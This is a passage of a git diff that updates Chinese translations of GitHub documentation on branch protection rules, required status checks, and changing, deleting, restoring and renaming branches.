-title: Managing a branch protection rule
-intro: 'You can create a branch protection rule to enforce certain workflows for one or more branches, such as requiring an approving review or passing status checks for all pull requests merged into the protected branch.'
+title: 管理分支保护规则
+intro: 您可以创建分支保护规则对一个或多个分支实施某些工作流程，例如要求批准审查或通过状态检查才能将拉取请求合并到受保护分支。
 product: '{% data reusables.gated-features.protected-branches %}'
 redirect_from:
   - /articles/configuring-protected-branches
@@ -26,25 +26,26 @@ versions:
 permissions: People with admin permissions to a repository can manage branch protection rules.
 topics:
   - Repositories
-shortTitle: Branch protection rule
+shortTitle: 分支保护规则
 ---
-## About branch protection rules
+
+## 关于分支保护规则
 
 {% data reusables.repositories.branch-rules-example %}
 
-You can create a rule for all current and future branches in your repository with the wildcard syntax `*`. Because {% data variables.product.company_short %} uses the `File::FNM_PATHNAME` flag for the `File.fnmatch` syntax, the wildcard does not match directory separators (`/`). For example, `qa/*` will match all branches beginning with `qa/` and containing a single slash. You can include multiple slashes with `qa/**/*`, and you can extend the `qa` string with `qa**/**/*` to make the rule more inclusive. For more information about syntax options for branch rules, see the [fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch).
+您还可以使用通配符语法 `*` 为仓库中的所有当前和未来分支创建规则。 由于 {% data variables.product.company_short %} 对 `File.fnmatch` 语法使用 `File::FNM_PATHNAME` 标记，因此通配符与目录分隔符 (`/`) 不匹配。 例如，`qa/*` 将匹配以 `qa/` 开头并包含单个斜杠的所有分支。 您可以通过 `qa/**/*` 包含多个斜杠，也可以通过 `qa**/**/*` 扩展 `qa` 字符串，使规则更具包容性。 有关分支规则语法选项的更多信息，请参阅 [fnmatch 文档](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch)。
 
-If a repository has multiple protected branch rules that affect the same branches, the rules that include a specific branch name have the highest priority. If there is more than one protected branch rule that references the same specific branch name, then the branch rule created first will have higher priority.
+如果仓库有多个影响相同分支的受保护分支规则，则包含特定分支名称的规则具有最高优先级。 如果有多个受保护分支规则引用相同的特定规则名称，则最先创建的分支规则优先级更高。
 
-Protected branch rules that mention a special character, such as `*`, `?`, or `]`, are applied in the order they were created, so older rules with these characters have a higher priority.
+提及特殊字符（如 `*`、`?` 或 `]`）的受保护分支按其创建的顺序应用，因此含有这些字符的规则创建时间越早，优先级越高。
 
-To create an exception to an existing branch rule, you can create a new branch protection rule that is higher priority, such as a branch rule for a specific branch name.
+要创建对现有分支规则的例外，您可以创建优先级更高的新分支保护规则，例如针对特定分支名称的分支规则。
 
 For more information about each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
 
-## Creating a branch protection rule
+## 创建分支保护规则
 
-When you create a branch rule, the branch you specify doesn't have to exist yet in the repository.
+创建分支规则时，指定的分支不必是仓库中现有的分支。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
@@ -52,79 +53,63 @@ When you create a branch rule, the branch you specify doesn't have to exist yet
 {% data reusables.repositories.add-branch-protection-rules %}
 {% ifversion fpt or ghec %}
 1. Optionally, enable required pull requests.
-   - Under "Protect matching branches", select **Require a pull request before merging**.
-     ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required-updated.png)
-   - Optionally, to require approvals before a pull request can be merged, select **Require approvals**, click the **Required number of approvals before merging** drop-down menu, then select the number of approving reviews you would like to require on the branch.
-     ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals-updated.png)
+   - Under "Protect matching branches", select **Require a pull request before merging**. ![拉取请求审查限制复选框](/assets/images/help/repository/PR-reviews-required-updated.png)
+   - Optionally, to require approvals before a pull request can be merged, select **Require approvals**, click the **Required number of approvals before merging** drop-down menu, then select the number of approving reviews you would like to require on the branch. ![用于选择必需审查批准数量的下拉菜单](/assets/images/help/repository/number-of-required-review-approvals-updated.png)
 {% else %}
-1. Optionally, enable required pull request reviews.
-   - Under "Protect matching branches", select **Require pull request reviews before merging**.
-     ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required.png)
-   - Click the **Required approving reviews** drop-down menu, then select the number of approving reviews you would like to require on the branch. 
-     ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals.png)
+1. （可选）启用必需拉取请求审查。
+   - 在“Protect matching branches（保护匹配分支）”下，选择 **Require pull request reviews before merging（合并前必需拉取请求审查）**。 ![拉取请求审查限制复选框](/assets/images/help/repository/PR-reviews-required.png)
+   - Click the **Required approving reviews** drop-down menu, then select the number of approving reviews you would like to require on the branch. ![用于选择必需审查批准数量的下拉菜单](/assets/images/help/repository/number-of-required-review-approvals.png)
 {% endif %}
-   - Optionally, to dismiss a pull request approval review when a code-modifying commit is pushed to the branch, select **Dismiss stale pull request approvals when new commits are pushed**.
-     ![Dismiss stale pull request approvals when new commits are pushed checkbox](/assets/images/help/repository/PR-reviews-required-dismiss-stale.png)
-   - Optionally, to require review from a code owner when the pull request affects code that has a designated owner, select **Require review from Code Owners**. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
-     ![Require review from code owners](/assets/images/help/repository/PR-review-required-code-owner.png)
+   - （可选）要在将代码修改提交推送到分支时忽略拉取请求批准审查，请选择 **Dismiss stale pull request approvals when new commits are pushed（推送新提交时忽略旧拉取请求批准）**。 ![在推送新提交时，关闭旧拉取请求批准的复选框](/assets/images/help/repository/PR-reviews-required-dismiss-stale.png)
+   - （可选）要在拉取请求影响具有指定所有者的代码时要求代码所有者审查，请选择 **Require review from Code Owners（需要代码所有者审查）**。 更多信息请参阅“[关于代码所有者](/github/creating-cloning-and-archiving-repositories/about-code-owners)”。 ![代码所有者的必需审查](/assets/images/help/repository/PR-review-required-code-owner.png)
 {% ifversion fpt or ghec %}
-   - Optionally, to allow specific people or teams to push code to the branch without being subject to the pull request rules above, select **Allow specific actors to bypass pull request requirements**. Then, search for and select the people or teams who are allowed to bypass the pull request requirements.
-     ![Allow specific actors to bypass pull request requirements checkbox](/assets/images/help/repository/PR-bypass-requirements.png)
+   - Optionally, to allow specific people or teams to push code to the branch without being subject to the pull request rules above, select **Allow specific actors to bypass pull request requirements**. Then, search for and select the people or teams who are allowed to bypass the pull request requirements. ![Allow specific actors to bypass pull request requirements checkbox](/assets/images/help/repository/PR-bypass-requirements.png)
 {% endif %}
-   - Optionally, if the repository is part of an organization, select **Restrict who can dismiss pull request reviews**. Then, search for and select the people or teams who are allowed to dismiss pull request reviews. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)."
-     ![Restrict who can dismiss pull request reviews checkbox](/assets/images/help/repository/PR-review-required-dismissals.png)
-1. Optionally, enable required status checks. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)."
-   - Select **Require status checks to pass before merging**.
-     ![Required status checks option](/assets/images/help/repository/required-status-checks.png)
-   - Optionally, to ensure that pull requests are tested with the latest code on the protected branch, select **Require branches to be up to date before merging**.
-     ![Loose or strict required status checkbox](/assets/images/help/repository/protecting-branch-loose-status.png)
-   - Search for status checks, selecting the checks you want to require.
-     ![Search interface for available status checks, with list of required checks](/assets/images/help/repository/required-statuses-list.png)
+   - （可选）如果仓库属于组织，请选择 **Restrict who can dismiss pull request reviews（限制谁可以忽略拉取请求审查）**。 然后，搜索并选择有权忽略拉取请求审查的人员或团队。 更多信息请参阅“[忽略拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)”。 ![限制可以忽略拉取请求审查的人员复选框](/assets/images/help/repository/PR-review-required-dismissals.png)
+1. （可选）启用必需状态检查。 更多信息请参阅“[关于状态检查](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)”。
+   - 选中 **Require status checks to pass before merging（合并前必需状态检查通过）**。 ![必需状态检查选项](/assets/images/help/repository/required-status-checks.png)
+   - （可选）要确保使用受保护分支上的最新代码测试拉取请求，请选择 **Require branches to be up to date before merging（要求分支在合并前保持最新）**。 ![宽松或严格的必需状态复选框](/assets/images/help/repository/protecting-branch-loose-status.png)
+   - Search for status checks, selecting the checks you want to require. ![Search interface for available status checks, with list of required checks](/assets/images/help/repository/required-statuses-list.png)
 {%- ifversion fpt or ghes > 3.1 or ghae %}
-1. Optionally, select **Require conversation resolution before merging**.
-  ![Require conversation resolution before merging option](/assets/images/help/repository/require-conversation-resolution.png)
+1. （可选）选中 **Require conversation resolution before merging（在合并前需要对话解决）**。 ![合并选项前需要对话解决](/assets/images/help/repository/require-conversation-resolution.png)
 {%- endif %}
-1. Optionally, select **Require signed commits**.
-  ![Require signed commits option](/assets/images/help/repository/require-signed-commits.png)
-1. Optionally, select **Require linear history**.
-  ![Required linear history option](/assets/images/help/repository/required-linear-history.png)
+1. （可选）选择 **Require signed commits（必需签名提交）**。 ![必需签名提交选项](/assets/images/help/repository/require-signed-commits.png)
+1. （可选）选择 **Require linear history（必需线性历史记录）**。 ![必需的线性历史记录选项](/assets/images/help/repository/required-linear-history.png)
 {%- ifversion fpt or ghec %}
-1. Optionally, to merge pull requests using a merge queue, select **Require merge queue**. {% data reusables.pull_requests.merge-queue-references %}
-  ![Require merge queue option](/assets/images/help/repository/require-merge-queue.png)
+1. Optionally, to merge pull requests using a merge queue, select **Require merge queue**. {% data reusables.pull_requests.merge-queue-references %} ![Require merge queue option](/assets/images/help/repository/require-merge-queue.png)
   {% tip %}
 
   **Tip:** The pull request merge queue feature is currently in limited public beta and subject to change. Organizations owners can request early access to the beta by joining the [waitlist](https://github.com/features/merge-queue/signup).
 
   {% endtip %}
 {%- endif %}
-1. Optionally, select **Include administrators**.
-![Include administrators checkbox](/assets/images/help/repository/include-admins-protected-branches.png)
-1. Optionally,{% ifversion fpt or ghec %} if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %},{% endif %} enable branch restrictions.
-   - Select **Restrict who can push to matching branches**.
-     ![Branch restriction checkbox](/assets/images/help/repository/restrict-branch.png)
-   - Search for and select the people, teams, or apps who will have permission to push to the protected branch.
-     ![Branch restriction search](/assets/images/help/repository/restrict-branch-search.png)
-2. Optionally, under "Rules applied to everyone including administrators", select **Allow force pushes**. For more information about force pushes, see "[Allow force pushes](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches/#allow-force-pushes)."
-  ![Allow force pushes option](/assets/images/help/repository/allow-force-pushes.png)
-1. Optionally, select **Allow deletions**.
-  ![Allow branch deletions option](/assets/images/help/repository/allow-branch-deletions.png)
-1. Click **Create**.
+1. Optionally, select **Apply the rules above to administrators**. ![Apply the rules above to administrators checkbox](/assets/images/help/repository/include-admins-protected-branches.png)
+1. （可选）{% ifversion fpt or ghec %}如果仓库由组织拥有，可使用 {% data variables.product.prodname_team %} 或 {% data variables.product.prodname_ghe_cloud %}{% endif %} 启用分支限制。
+   - 选择 **Restrict who can push to matching branches（限制谁可以推送到匹配分支）**。 ![分支限制复选框](/assets/images/help/repository/restrict-branch.png)
+   - 搜索并选择有权限推送到受保护分支的人员、团队或应用程序。 ![分支限制搜索](/assets/images/help/repository/restrict-branch-search.png)
+1. （可选）在“Rules applied to everyone including administrators（适用于包括管理员在内的所有人规则）”下，选择 **Allow force pushes（允许强制推送）**。 ![允许强制推送选项](/assets/images/help/repository/allow-force-pushes.png)
+{% ifversion fpt or ghec %}
+  Then, choose who can force push to the branch.
+    - Select **Everyone** to allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions.
+    - Select **Specify who can force push** to allow only specific people or teams to force push to the branch. Then, search for and select those people or teams. ![Screenshot of the options to specify who can force push](/assets/images/help/repository/allow-force-pushes-specify-who.png)
+{% endif %}
 
-## Editing a branch protection rule
+    For more information about force pushes, see "[Allow force pushes](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches/#allow-force-pushes)."
+1. （可选）选择 **Allow deletions（允许删除）**。 ![允许分支删除选项](/assets/images/help/repository/allow-branch-deletions.png)
+1. 单击 **Create（创建）**。
+
+## 编辑分支保护规则
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.repository-branches %}
-1. To the right of the branch protection rule you want to edit, click **Edit**.
-  ![Edit button](/assets/images/help/repository/edit-branch-protection-rule.png)
-1. Make your desired changes to the branch protection rule.
-1. Click **Save changes**.
-  ![Save changes button](/assets/images/help/repository/save-branch-protection-rule.png)
+1. 在要编辑的分支保护规则的右侧，单击 **Edit（编辑）**。 ![编辑按钮](/assets/images/help/repository/edit-branch-protection-rule.png)
+1. 对分支保护规则进行所需的更改。
+1. 单击 **Save changes（保存更改）**。 ![Edit message 按钮](/assets/images/help/repository/save-branch-protection-rule.png)
 
-## Deleting a branch protection rule
+## 删除分支保护规则
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.repository-branches %}
-1. To the right of the branch protection rule you want to delete, click **Delete**.
-    ![Delete button](/assets/images/help/repository/delete-branch-protection-rule.png)
+1. 在要删除的分支保护规则的右侧，单击 **Delete（删除）**。 ![删除按钮](/assets/images/help/repository/delete-branch-protection-rule.png)
diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
index fd64a80a81..d5f3d1d8c4 100644
--- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
+++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting required status checks
-intro: You can check for common errors and resolve issues with required status checks.
+title: 必需状态检查故障排除
+intro: 您可以检查必需状态检查的常见错误并解决问题，
 product: '{% data reusables.gated-features.protected-branches %}'
 versions:
   fpt: '*'
@@ -12,19 +12,20 @@ topics:
 redirect_from:
   - /github/administering-a-repository/troubleshooting-required-status-checks
   - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks
-shortTitle: Required status checks
+shortTitle: 必需状态检查
 ---
-If you have a check and a status with the same name, and you select that name as a required status check, both the check and the status are required. For more information, see "[Checks](/rest/reference/checks)."
 
-After you enable required status checks, your branch may need to be up-to-date with the base branch before merging. This ensures that your branch has been tested with the latest code from the base branch. If your branch is out of date, you'll need to merge the base branch into your branch. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)."
+如果您有名称相同的检查和状态，并且选择该名称作为必需状态检查，则检查和状态都是必需的。 更多信息请参阅“[检查](/rest/reference/checks)”。
+
+在启用必需状态检查后，您的分支在合并之前可能需要使用基础分支更新。 这可确保您的分支已经使用基本分支的最新代码做过测试。 如果您的分支过期，则需要将基本分支合并到您的分支。 更多信息请参阅“[关于受保护分支](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)”。
 
 {% note %}
 
-**Note:** You can also bring your branch up to date with the base branch using Git rebase. For more information, see "[About Git rebase](/github/getting-started-with-github/about-git-rebase)."
+**注：**您也可以使用 Git 变基以基础分支更新您的分支。 更多信息请参阅“[关于 Git 变基](/github/getting-started-with-github/about-git-rebase)”。
 
 {% endnote %}
 
-You won't be able to push local changes to a protected branch until all required status checks pass. Instead, you'll receive an error message similar to the following.
+在通过所有必需状态检查之前，无法向受保护分支推送本地更改。 反而会收到类似如下的错误消息。
 
 ```shell
 remote: error: GH006: Protected branch update failed for refs/heads/main.
@@ -32,17 +33,17 @@ remote: error: Required status check "ci-build" is failing
 ```
 {% note %}
 
-**Note:** Pull requests that are up-to-date and pass required status checks can be merged locally and pushed to the protected branch. This can be done without status checks running on the merge commit itself.
+**注：**最新且通过必需状态检查的拉取请求可以本地合并，并且推送到受保护分支。 此操作无需对合并提交本身运行状态检查。
 
 {% endnote %}
 
 {% ifversion fpt or ghae or ghes or ghec %}
 
-## Conflicts between head commit and test merge commit 
+## Conflicts between head commit and test merge commit
 
-Sometimes, the results of the status checks for the test merge commit and head commit will conflict. If the test merge commit has a status, the test merge commit must pass. Otherwise, the status of the head commit must pass before you can merge the branch. For more information about test merge commits, see "[Pulls](/rest/reference/pulls#get-a-pull-request)."
+有时，测试合并提交与头部提交的状态检查结果存在冲突。 如果测试合并提交具有状态，则测试合并提交必须通过。 否则，必须传递头部提交的状态后才可合并该分支。 有关测试合并提交的更多信息，请参阅“[拉取](/rest/reference/pulls#get-a-pull-request)”。
 
-![Branch with conflicting merge commits](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png)
+![具有冲突的合并提交的分支](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png)
 {% endif %}
 
 ## Handling skipped but required checks
@@ -51,9 +52,9 @@ Sometimes a required status check is skipped on pull requests due to path filter
 
 If this check is required and it gets skipped, then the check's status is shown as pending, because it's required. In this situation you won't be able to merge the pull request.
 
-### Example
+### 示例
 
-In this example you have a workflow that's required to pass. 
+In this example you have a workflow that's required to pass.
 
 ```yaml
 name: ci
@@ -105,14 +106,15 @@ Now the checks will always pass whenever someone sends a pull request that doesn
 
 {% note %}
 
-**Notes:** 
+**注意：**
 * Make sure that the `name` key and required job name in both the workflow files are the same. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)".
 * The example above uses {% data variables.product.prodname_actions %} but this workaround is also applicable to other CI/CD providers that integrate with {% data variables.product.company_short %}.
 
 {% endnote %}
 
-It's also possible for a protected branch to require a status check from a specific {% data variables.product.prodname_github_app %}. If you see a message similar to the following, then you should verify that the check listed in the merge box was set by the expected app.
+{% ifversion fpt or ghes > 3.3 or ghae-issue-5379 or ghec %}It's also possible for a protected branch to require a status check from a specific {% data variables.product.prodname_github_app %}. If you see a message similar to the following, then you should verify that the check listed in the merge box was set by the expected app.
 
 ```
 Required status check "build" was not set by the expected {% data variables.product.prodname_github_app %}.
 ```
+{% endif %}
diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
index d82c43712f..01677b38d8 100644
--- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
+++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
@@ -1,6 +1,6 @@
 ---
-title: Changing the default branch
-intro: 'If you have more than one branch in your repository, you can configure any branch as the default branch.'
+title: 更改默认分支
+intro: 如果仓库中有多个分支，您可以将任何分支配置为默认分支。
 permissions: People with admin permissions to a repository can change the default branch for the repository.
 versions:
   fpt: '*'
@@ -14,43 +14,40 @@ redirect_from:
   - /github/administering-a-repository/managing-branches-in-your-repository/changing-the-default-branch
 topics:
   - Repositories
-shortTitle: Change the default branch
+shortTitle: 更改默认分支
 ---
-## About changing the default branch
 
-You can choose the default branch for a repository. The default branch is the base branch for pull requests and code commits. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)."
+## 关于更改默认分支
+
+您可以选择仓库的默认分支。 默认分支是拉取请求和代码提交的基础分支。 有关默认分支的更多信息，请参阅“[关于分支](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)”。
 
 {% ifversion not ghae %}
 {% note %}
 
-**Note**: If you use the Git-Subversion bridge, changing the default branch will affect your `trunk` branch contents and the `HEAD` you see when you list references for the remote repository. For more information, see "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients)" and [git-ls-remote](https://git-scm.com/docs/git-ls-remote.html) in the Git documentation.
+**注**：如果您使用 Git-Subversion 桥，则更改默认分支将影响 `trunk` 分支内容和您列出远程仓库的引用时看到的 `HEAD`。 更多信息请参阅 Git 文档中的“[Subversion 客户端支持](/github/importing-your-projects-to-github/support-for-subversion-clients)”和 [git-ls-remote](https://git-scm.com/docs/git-ls-remote.html)。
 
 {% endnote %}
 {% endif %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 
-You can also rename the default branch. For more information, see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)."
+您也可以重命名默认分支。 更多信息请参阅“[重命名分支](/github/administering-a-repository/renaming-a-branch)”。
 
 {% endif %}
 
 {% data reusables.branches.set-default-branch %}
 
-## Prerequisites
+## 基本要求
 
-To change the default branch, your repository must have more than one branch. For more information, see "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)."
+要更改默认分支，您的仓库必须有多个分支。 更多信息请参阅“[创建和删除仓库中的分支](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)”。
 
-## Changing the default branch
+## 更改默认分支
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.repository-branches %}
-1. Under "Default branch", to the right of the default branch name, click {% octicon "arrow-switch" aria-label="The switch icon with two arrows" %}.
-   ![Switch icon with two arrows to the right of current default branch name](/assets/images/help/repository/repository-options-defaultbranch-change.png)
-1. Use the drop-down, then click a branch name.
-   ![Drop-down to choose new default branch](/assets/images/help/repository/repository-options-defaultbranch-drop-down.png)
-1. Click **Update**.
-   !["Update" button after choosing a new default branch](/assets/images/help/repository/repository-options-defaultbranch-update.png)
-1. Read the warning, then click **I understand, update the default branch.**
-   !["I understand, update the default branch." button to perform the update](/assets/images/help/repository/repository-options-defaultbranch-i-understand.png)
+1. 在“Default branch（默认分支）”下，在默认分支名称的右侧单击 {% octicon "arrow-switch" aria-label="The switch icon with two arrows" %}。 ![当前默认分支名称右侧的两个箭头切换图标](/assets/images/help/repository/repository-options-defaultbranch-change.png)
+1. 使用下拉菜单，然后单击分支名称。 ![选择新默认分支的下拉菜单](/assets/images/help/repository/repository-options-defaultbranch-drop-down.png)
+1. 单击 **Update（更新）**。 ![选择新默认分支后的"更新"按钮](/assets/images/help/repository/repository-options-defaultbranch-update.png)
+1. 阅读警告，然后单击 **I understand, update the default branch（我了解，请更新默认分支）**。 !["I understand, update the default branch." button to perform the update](/assets/images/help/repository/repository-options-defaultbranch-i-understand.png)
 
diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
index 807c0c5aa5..a41f9692a2 100644
--- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
+++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting and restoring branches in a pull request
-intro: 'If you have write access in a repository, you can delete branches that are associated with closed or merged pull requests. You cannot delete branches that are associated with open pull requests.'
+title: 删除和恢复拉取请求中的分支
+intro: 如果拥有仓库的写入权限，可删除与已关闭或已合并拉取请求关联的分支。 无法删除与已打开拉取请求关联的分支。
 redirect_from:
   - /articles/tidying-up-pull-requests
   - /articles/restoring-branches-in-a-pull-request
@@ -17,31 +17,30 @@ topics:
   - Repositories
 shortTitle: Delete & restore branches
 ---
-## Deleting a branch used for a pull request
 
-You can delete a branch that is associated with a pull request if the pull request has been merged or closed and there are no other open pull requests referencing the branch. For information on closing branches that are not associated with pull requests, see "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)."
+## 删除用于拉取请求的分支
+
+如果拉取请求已合并或关闭，并且没有打开的其他拉取请求在引用分支，则可以删除与该拉取请求关联的分支。 有关关闭未与拉取请求关联的分支的信息，请参阅“[在存储库中创建和删除分支](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)”。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
 {% data reusables.repositories.list-closed-pull-requests %}
-4. In the list of pull requests, click the pull request that's associated with the branch that you want to delete.
-5. Near the bottom of the pull request, click **Delete branch**.
-   ![Delete branch button](/assets/images/help/pull_requests/delete_branch_button.png)
+4. 在拉取请求列表中，单击与要删除分支关联的拉取请求。
+5. 在拉取请求底部附近，单击 **Delete branch（删除分支）**。 ![删除分支按钮](/assets/images/help/pull_requests/delete_branch_button.png)
 
-   This button isn't displayed if there's currently an open pull request for this branch.
+   如果此分支当前有打开的拉取请求，则不显示此按钮。
 
-## Restoring a deleted branch
+## 恢复已删除分支
 
-You can restore the head branch of a closed pull request.
+可恢复已关闭拉取请求的头部分支。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
 {% data reusables.repositories.list-closed-pull-requests %}
-4. In the list of pull requests, click the pull request that's associated with the branch that you want to restore.
-5. Near the bottom of the pull request, click **Restore branch**.
-   ![Restore deleted branch button](/assets/images/help/branches/branches-restore-deleted.png)
+4. 在拉取请求列表中，单击与要回复分支关联的拉取请求。
+5. 在拉取请求底部附近，单击 **恢复分支**。 ![恢复已删除分支按钮](/assets/images/help/branches/branches-restore-deleted.png)
 
-## Further reading
+## 延伸阅读
 
-- "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)"
-- "[Managing the automatic deletion of branches](/github/administering-a-repository/managing-the-automatic-deletion-of-branches)"
+- “[在仓库内创建和删除分支](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)”
+- "[管理分支的自动删除](/github/administering-a-repository/managing-the-automatic-deletion-of-branches)."。
diff --git a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
index 7fd44389ce..5f7c6cbf59 100644
--- a/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
+++ b/translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
@@ -1,6 +1,6 @@
 ---
-title: Renaming a branch
-intro: You can change the name of a branch in a repository.
+title: 重命名分支
+intro: 您可以更改仓库中分支的名称。
 permissions: 'People with write permissions to a repository can rename a branch in the repository unless it is the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch){% ifversion fpt or ghec %} or a [protected branch](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches){% endif %}. People with admin permissions can rename the default branch{% ifversion fpt or ghec %} and protected branches{% endif %}.'
 versions:
   fpt: '*'
@@ -13,32 +13,30 @@ redirect_from:
   - /github/administering-a-repository/renaming-a-branch
   - /github/administering-a-repository/managing-branches-in-your-repository/renaming-a-branch
 ---
-## About renaming branches
 
-You can rename a branch in a repository on {% data variables.product.product_location %}. For more information about branches, see "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches))."
+## 关于重命名分支
 
-When you rename a branch on {% data variables.product.product_location %}, any URLs that contain the old branch name are automatically redirected to the equivalent URL for the renamed branch. Branch protection policies are also updated, as well as the base branch for open pull requests (including those for forks) and draft releases. After the rename is complete, {% data variables.product.prodname_dotcom %} provides instructions on the repository's home page directing contributors to update their local Git environments.
+您可以重命名 {% data variables.product.product_location %} 上仓库中的分支。 For more information about branches, see "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches))."
 
-Although file URLs are automatically redirected, raw file URLs are not redirected. Also, {% data variables.product.prodname_dotcom %} does not perform any redirects if users perform a `git pull` for the previous branch name.
+当您在 {% data variables.product.product_location %}上重命名分支时，任何包含旧分支名称的网址都会自动重定向到重命名分支的等效 URL。 还更新了分支保护政策以及打开的拉取请求（包括复刻的拉取请求）的基础分支和草稿版本。 重命名完成后， {% data variables.product.prodname_dotcom %} 在仓库主页上提供说明，指示贡献者更新他们的本地 Git 环境。
 
-{% data variables.product.prodname_actions %} workflows do not follow renames, so if your repository publishes an action, anyone using that action with `@{old-branch-name}` will break. You should consider adding a new branch with the original content plus an additional commit reporting that the branch name is deprecated and suggesting that users migrate to the new branch name.
+虽然文件 URL 会自动重定向，但原始文件 URL 未被重定向。 此外，如果用户对前一个分支名称执行 `git pull`，则 {% data variables.product.prodname_dotcom %} 不会执行任何重定向。
 
-## Renaming a branch
+{% data variables.product.prodname_actions %} 工作流不会跟随重命名，因此，如果您的仓库发布某个操作，任何人使用该操作结合 `{old-branch-name}` 都会崩溃。 您应该考虑添加带有原始内容的新分支，外加一个额外的提交报告，说明分支名称已弃用，并建议用户迁移到新的分支名称。
+
+## 重命名分支
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.navigate-to-branches %}
-1. In the list of branches, to the right of the branch you want to rename, click {% octicon "pencil" aria-label="The edit icon" %}.
-    ![Pencil icon to the right of branch you want to rename](/assets/images/help/branch/branch-rename-edit.png)
-1. Type a new name for the branch.
